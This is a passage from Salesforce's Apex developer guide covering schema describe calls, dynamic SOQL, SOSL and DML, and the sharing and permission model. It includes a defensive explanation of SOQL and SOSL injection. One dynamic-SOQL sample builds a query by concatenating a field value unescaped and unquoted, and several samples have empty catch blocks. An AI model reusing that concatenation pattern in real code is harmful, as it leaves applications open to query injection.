System.debug('Number of fields: ' + res.fields.getMap().size());
System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
// Get child relationships
Schema.ChildRelationship[] rels = res.getChildRelationships();
if (rels.size() > 0) {
System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
}
}
SEE ALSO:
fields
fieldSets
Describing Tabs Using Schema Methods
You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call
in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the describeTabs
Schema method and the getTabs method in Schema.DescribeTabResult, respectively.
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This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales
app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab
describe information is written to the debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
// Display tab info for the Sales app
if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app -// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
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//
getUrl=https://yourInstance.salesforce.com/img/icon/accounts32.png;getWidth=32;],
//
//
//
//
//
//
Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
getUrl=https://yourInstance.salesforce.com/img/icon/accounts16.png;getWidth=16;])
DEBUG|getMiniIconUrl: https://yourInstance.salesforce.com/img/icon/accounts16.png
DEBUG|getSobjectName: Account
DEBUG|getUrl: https://yourInstance.salesforce.com/001/o
DEBUG|isCustom: false
Accessing All sObjects
Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys)
to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();
The map has the following characteristics:
• It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
• The sObject names are case insensitive.
*
• The keys are prefixed with the namespace, if any.
• The keys reflect whether the sObject is a custom object.
*
Starting with Apex saved using Salesforce API version 28.0, the keys in the map that getGlobalDescribe returns are always
prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the
getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key
returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace
of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace
N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1,
and the sObject is in namespace N2, the key is N2__MyObject__c.
Standard sObjects have no namespace prefix.
Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens
for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is
not true if the getGlobalDescribe method is called from a class not within an installed managed package.
Accessing All Data Categories Associated with an sObject
Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the
categories associated with a specific object:
1. Return all the category groups associated with the objects of your choice (see
describeDataCategoryGroups(sObjectNames)).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe
DataCategoryGroupResult Class).
3. Specify the category group and associated object, then retrieve the categories available to this object (see
describeDataCategoryGroupStructures).
The describeDataCategoryGroupStructures method returns the categories available for the object in the category group
you specified. For additional information about data categories, see “Data Categories in Salesforce.com” in the Salesforce online help.
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In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with
the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available
for articles and questions in the Regions category group. For additional information about articles and questions, see “Work with Articles
and Translations” and “Answers Overview” in the Salesforce online help.
To use the following example, you must:
• Enable Salesforce Knowledge.
• Enable the answers feature.
• Create a data category group called Regions.
• Assign Regions as the data category group to be used by Answers.
• Make sure the Regions data category group is assigned to Salesforce Knowledge.
For more information on creating data category groups, see “Create and Modify Category Groups” in the Salesforce online help. For more
information on answers, see “Answers Overview” in the Salesforce online help.
public class DescribeDataCategoryGroupSample {
public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Using the results and retrieving the information
for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
//Getting the name of the category
singleResult.getName();
//Getting the name of label
singleResult.getLabel();
//Getting description
singleResult.getDescription();
//Getting the sobject
singleResult.getSobject();
}
} catch(Exception e){
}
return describeCategoryResult;
}
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}
public class DescribeDataCategoryGroupStructures {
public static List<DescribeDataCategoryGroupStructureResult>
getDescribeDataCategoryGroupStructureResults(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
try {
//Making the call to the describeDataCategoryGroups to
//get the list of category groups associated
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Creating a list of pair objects to use as a parameter
//for the describe call
List<DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();
//Looping throught the first describe result to create
//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
DataCategoryGroupSobjectTypePair p =
new DataCategoryGroupSobjectTypePair();
p.setSobject(singleResult.getSobject());
p.setDataCategoryGroupName(singleResult.getName());
pairs.add(p);
}
//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
//Getting data from the result
for(DescribeDataCategoryGroupStructureResult singleResult :
describeCategoryStructureResult){
//Get name of the associated Sobject
singleResult.getSobject();
//Get the name of the data category group
singleResult.getName();
//Get the name of the data category group
singleResult.getLabel();
//Get the description of the data category group
singleResult.getDescription();
//Get the top level categories
DataCategory [] toplevelCategories =
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singleResult.getTopCategories();
//Recursively get all the categories
List<DataCategory> allCategories =
getAllCategories(toplevelCategories);
for(DataCategory category : allCategories) {
//Get the name of the category
category.getName();
//Get the label of the category
category.getLabel();
//Get the list of sub categories in the category
DataCategory [] childCategories =
category.getChildCategories();
}
}
} catch (Exception e){
}
return describeCategoryStructureResult;
}
private static DataCategory[] getAllCategories(DataCategory [] categories){
if(categories.isEmpty()){
return new DataCategory[]{};
} else {
DataCategory [] categoriesClone = categories.clone();
DataCategory category = categoriesClone[0];
DataCategory[] allCategories = new DataCategory[]{category};
categoriesClone.remove(0);
categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}
Testing Access to All Data Categories Associated with an sObject
The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned
category group and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
List<DescribeDataCategoryGroupResult>describeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
//Assuming that you have KnowledgeArticleVersion and Questions
//associated with only one category group 'Regions'.
System.assert(describeResult.size() == 2,
'The results should only contain two results: ' + describeResult.size());
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for(DescribeDataCategoryGroupResult result : describeResult) {
//Storing the results
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
}
}
}
This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
//Creating category info
CategoryInfo world = new CategoryInfo('World', 'World');
CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
'North America');
CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
'South America');
CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
List<CategoryInfo> info = new CategoryInfo[] {
asia, northAmerica, southAmerica, europe
};
for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
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System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
DataCategory [] topLevelCategories = result.getTopCategories();
System.assert(topLevelCategories.size() == 1,
'Incorrect number of top level categories returned: ' + topLevelCategories.size());
System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
topLevelCategories[0].getName() == world.getName());
//checking if the correct children are returned
DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){
System.assert(children[i].getLabel() == info[i].getLabel() &&
children[i].getName() == info[i].getName());
}
}
}
private class CategoryInfo {
private final String name;
private final String label;
private CategoryInfo(String n, String l){
this.name = n;
this.label = l;
}
public String getName(){
return this.name;
}
public String getLabel(){
return this.label;
}
}
}
Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at run time with Apex code. Dynamic SOQL enables you to create more flexible
applications. For example, you can create a search based on input from an end user or update records with varying field names.
To create a dynamic SOQL query at run time, use the database query method, in one of the following ways.
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• Return a single sObject when the query returns a single record:
sObject s = Database.query(string_limit_1);
• Return a list of sObjects when the query returns more than a single record:
List<sObject> sobjList = Database.query(string);
The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOQL queries are processed.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data
type. At run time, the system validates that the type of the query matches the declared type of the variable. If the query does not return
the correct sObject type, a run-time error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 275.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and SOSL Reference.
Dynamic SOQL Considerations
You can use simple bind variables in dynamic SOQL query strings. The following is allowed:
String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name =
:myTestString');
However, unlike inline SOQL, dynamic SOQL can’t use bind variable fields in the query string. The following example isn’t supported and
results in a Variable does not exist error:
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :myVariable.field1__c');
You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= ' + resolvedField1);
SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL
statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOQL
statement and you do not handle the input properly.
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
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To create a dynamic SOSL query at run time, use the search query method. For example:
List<List <sObject>> myQuery = search.query(SOSL_search_string);
The following example exercises a simple SOSL query string.
String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';
List<List<SObject>>searchList=search.query(searchquery);
Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the
results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 275.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL Reference.
Use Dynamic SOSL to Return Snippets
To provide more context for records in search results, use the SOSL WITH SNIPPET clause. Snippets make it easier to identify the
content you’re looking for. For information about how snippets are generated, see WITH SNIPPET in the Force.com SOQL and SOSL
Reference.
To use the SOSL WITH SNIPPET clause in a dynamic SOSL query at run time, use the Search.find method.
Search.SearchResults searchResults = Search.find(SOSL_search_string);
This example exercises a simple SOSL query string that includes a WITH SNIPPET clause. The example calls System.debug()
to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');
List<Search.SearchResult> articlelist = searchResults.get('KnowledgeArticleVersion');
for (Search.SearchResult searchResult : articleList) {
KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject();
System.debug(article.Title);
System.debug(searchResult.getSnippet());
}
SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL
statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a
dynamic SOSL statement and you do not handle the input properly.
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To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
SEE ALSO:
find(searchQuery)
Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert
them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a
concrete sObject type (such as Account). For example:
// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();
Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast
back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and
Casting on page 95.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For
example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);
See SObjectType Class.
Dynamic sObject Creation Example
This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a
new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation
of an account.
public class DynamicSObjectCreation {
public static sObject createObject(String typeName) {
Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
if (targetType == null) {
// throw an exception
}
// Instantiate an sObject with the type passed in as an argument
// at run time.
return targetType.newSObject();
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}
}
@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';
// Create a new sObject by passing the sObject type as an argument.
Account a = (Account)DynamicSObjectCreation.createObject(typeName);
System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
// Set the account name and insert the account.
a.Name = acctName;
insert a;
// Verify the new sObject got inserted.
Account[] b = [SELECT Name from Account WHERE Name = :acctName];
system.assert(b.size() > 0);
}
}
Setting and Retrieving Field Values
Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a
String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');
The following example uses the AccountNumber field's token instead:
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');
The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the
anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any
sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.
Setting and Retrieving Foreign Keys
Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a
foreign key, use the get or put methods.
To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these
methods must be used with the sObject data type, not Object. For example:
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');
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There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent
sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always
returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key C2__c that links to a parent custom object C2. You want to create a C1
object and have it associated with a C2 record named 'AW Computing' (assigned to the value C2__r). You do not need the ID of the
'AW Computing' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));
If you had assigned a value to the ID for C2__r, it would be ignored. If you do have the ID, assign it to the object (C2__c), not the
record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a
parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
for (SObject parentRecord : queryParentObject){
Object ParentFieldValue = parentRecord.get('Name');
// Prevent a null relationship from being accessed
SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
if (childRecordsFromParent != null) {
for (SObject childRecord : childRecordsFromParent){
Object ChildFieldValue1 = childRecord.get('FirstName');
Object ChildFieldValue2 = childRecord.get('LastName');
System.debug('Account Name: ' + ParentFieldValue +
'. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
}
}
}
Apex Security and Sharing
When you use Apex, the security of your code is critical. You'll need to add user permissions for Apex classes and enforce sharing rules.
Read on to learn about Apex managed sharing and get some security tips.
IN THIS SECTION:
Enforcing Sharing Rules
Enforcing Object and Field Permissions
Class Security
Understanding Apex Managed Sharing
Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing
access can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
Security Tips for Apex and Visualforce Development
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Enforcing Sharing Rules
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution.
Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex.
executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive data that
would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They should be particularly
careful with Web services, which can be restricted by permissions, but execute in system context once they are initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need
access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that
apply to the current user. (For more information on sharing rules, see the Salesforce online help.)
Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user's permissions and field-level
security. Apex code always has access to all fields and objects in an organization, ensuring that code won’t fail to run because of
hidden fields or objects for a user.
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The CWithout
class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner classes, in which
code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing
setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.
Account a = [SELECT . . . ];
public static void m() { . . . }
static {
. . .
}
{
. . .
}
public void c() {
. . .
}
}
public without sharing class CWithout {
// All code in this class ignores sharing rules and operates
// as if the context user has the Modify All Data permission.
Account a = [SELECT . . . ];
. . .
public static void m() {
. . .
// This call into CWith operates with enforced sharing rules
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// for the context user. When the call finishes, the code execution
// returns to without sharing mode.
CWith.m();
}
public class CInner {
// All code in this class executes with the same sharing context
// as the code that calls it.
// Inner classes are separate from outer classes.
. . .
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner
class.
// When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
CWith.m();
}
public class CInnerWithOut extends CWithout {
// All code in this class ignores sharing rules because
// this class extends a parent class that ignores sharing rules.
}
}
Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without
sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with
sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.
Enforcing the current user's sharing rules can impact:
• SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.
• DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user
specifies a foreign key value that exists in the organization, but which the current user does not have access to.
Enforcing Object and Field Permissions
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call
and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your code by
explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result methods (of
Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if the current user has the
necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific DML operation or a query.
For example, you can call the isAccessible, isCreateable, or isUpdateable methods of
Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively.
Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's
read, create, or update access for a field. In addition, you can call the isDeletable method provided by
Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject.
These are some examples of how to call the access control methods.
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To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
// Update contact phone number
}
To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
// Create new contact
}
To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}
To check the object-level permission for the contact before deleting the contact.
if (Schema.sObjectType.Contact.isDeletable()) {
// Delete contact
}
Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you
can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the
with sharing or without sharing Keywords. If you call the sObject describe result and field describe result access control methods, the
verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes, the access
level granted by a sharing rule could conflict with an object-level or field-level permission.
Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can
only set security on Apex classes, not on triggers.
To set Apex class security from the class list page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
4. Click Save.
To set Apex class security from the class detail page:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click the name of the class that you want to restrict.
3. Click Security.
4. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable
from the Enabled Profiles list and click Remove.
5. Click Save.
To set Apex class security from a permission set:
1. From Setup, enter Permission Sets in the Quick Find box, then select Permission Sets.
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2. Select a permission set.
3. Click Apex Class Access.
4. Click Edit.
5. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
6. Click Save.
To set Apex class security from a profile:
1. From Setup, enter Profiles in the Quick Find box, then select Profiles.
2. Select a profile.
3. In the Apex Class Access page or related list, click Edit.
4. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that
you want to disable from the Enabled Apex Classes list and click Remove.
5. Click Save.
Understanding Apex Managed Sharing
Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access
can be granted using the Salesforce user interface and Force.com, or programmatically using Apex.
For more information on sharing, see Set Your Organization-Wide Sharing Defaults in the Salesforce online help.
IN THIS SECTION:
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact,
Opportunity and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional
access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed
sharing to grant additional access programmatically with Apex.
Sharing a Record Using Apex
Recalculating Apex Managed Sharing
Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity
and Case). Administrators first set an object’s organization-wide default sharing access level, and then grant additional access based on
record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant
additional access programmatically with Apex.
Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms.
Types of Sharing
Salesforce has the following types of sharing:
Force.com Managed Sharing
Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and
sharing rules:
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Record Ownership
Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically
granted Full Access, allowing them to view, edit, transfer, share, and delete the record.
Role Hierarchy
The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or
shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access
to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing
records. Instead, role hierarchy access is derived at runtime. For more information, see “Controlling Access Using Hierarchies” in
the Salesforce online help.
Sharing Rules
Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a
specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed
from Force.com AppExchange.
Sharing rules can be based on record ownership or other criteria. You can’t use Apex to create criteria-based sharing rules. Also,
criteria-based sharing cannot be tested using Apex.
All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API,
or Apex.
User Managed Sharing, also known as Manual Sharing
User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of
users. This is generally done by an end user, for a single record. Only the record owner and users above the owner in the role hierarchy
are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the “Modify All” object-level
permission for the given object or the “Modify All Data” permission can also manually share a record. User managed sharing is
removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the
object's organization-wide sharing default access level.
Apex Managed Sharing
Apex managed sharing provides developers with the ability to support an application’s particular sharing requirements
programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with
“Modify All Data” permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across
record owner changes.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
The Sharing Reason Field
In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called
rowCause in Apex or the Force.com API.
Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause
value.
• Force.com Managed Sharing
Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Account Sharing
ImplicitChild
Associated record owner or sharing
ImplicitParent
Owner
Owner
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Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Opportunity Team
Team
Sharing Rule
Rule
Territory Assignment Rule
TerritoryRule
• User Managed Sharing
Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Manual Sharing
Manual
Territory Manual
TerritoryManual
• Apex Managed Sharing
Reason Field Value
rowCause Value (Used in Apex or the Force.com API)
Defined by developer
Defined by developer
The displayed reason for Apex managed sharing is defined by the developer.
Access Levels
When determining a user’s access to a record, the most permissive level of access is used. Most share objects support the following
access levels:
Access Level
API Name
Description
Private
None
